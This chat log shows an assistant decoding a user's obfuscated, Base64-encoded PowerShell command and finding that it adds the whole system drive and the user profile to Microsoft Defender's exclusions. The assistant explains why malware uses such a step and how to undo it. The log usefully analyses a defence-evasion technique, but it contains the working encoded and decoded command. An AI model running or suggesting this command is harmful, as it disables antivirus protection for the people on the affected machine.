# PowerShell Command Analysis

#### You:
what this do
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA=

#### ChatGPT:
This command launches **PowerShell** and runs a Base64-encoded command. When decoded, it becomes:

```powershell
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
```

(The `<#xbr#>`, `<#sdw#>`, etc. are just PowerShell comments and have no effect.)

### What it does

`Add-MpPreference` modifies settings for **Microsoft Defender Antivirus**.

The command:

```powershell
-ExclusionPath @($env:UserProfile, $env:SystemDrive)
```

adds two exclusions:

- **`$env:UserProfile`** → your user folder (for example, `C:\Users\YourName`)
- **`$env:SystemDrive`** → your system drive (usually `C:`)

This tells Microsoft Defender **not to scan those locations**.

### Why that's suspicious

Excluding the entire `C:` drive and the user's profile folder effectively disables antivirus protection for most files on the computer. Malware commonly uses commands like this to avoid detection.

### If you didn't intentionally run it

You can check current exclusions by opening PowerShell as Administrator and running:

```powershell
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
```

To remove all exclusions:

```powershell
Remove-MpPreference -ExclusionPath "C:\"
Remove-MpPreference -ExclusionPath "$env:UserProfile"
```

Or remove specific paths shown by `Get-MpPreference`.

### In short

This command is attempting to **weaken Microsoft Defender by excluding your entire system drive and user files from antivirus scans**. If you found this in a script, scheduled task, download, or program you weren't expecting, it should be treated as **potentially malicious**.
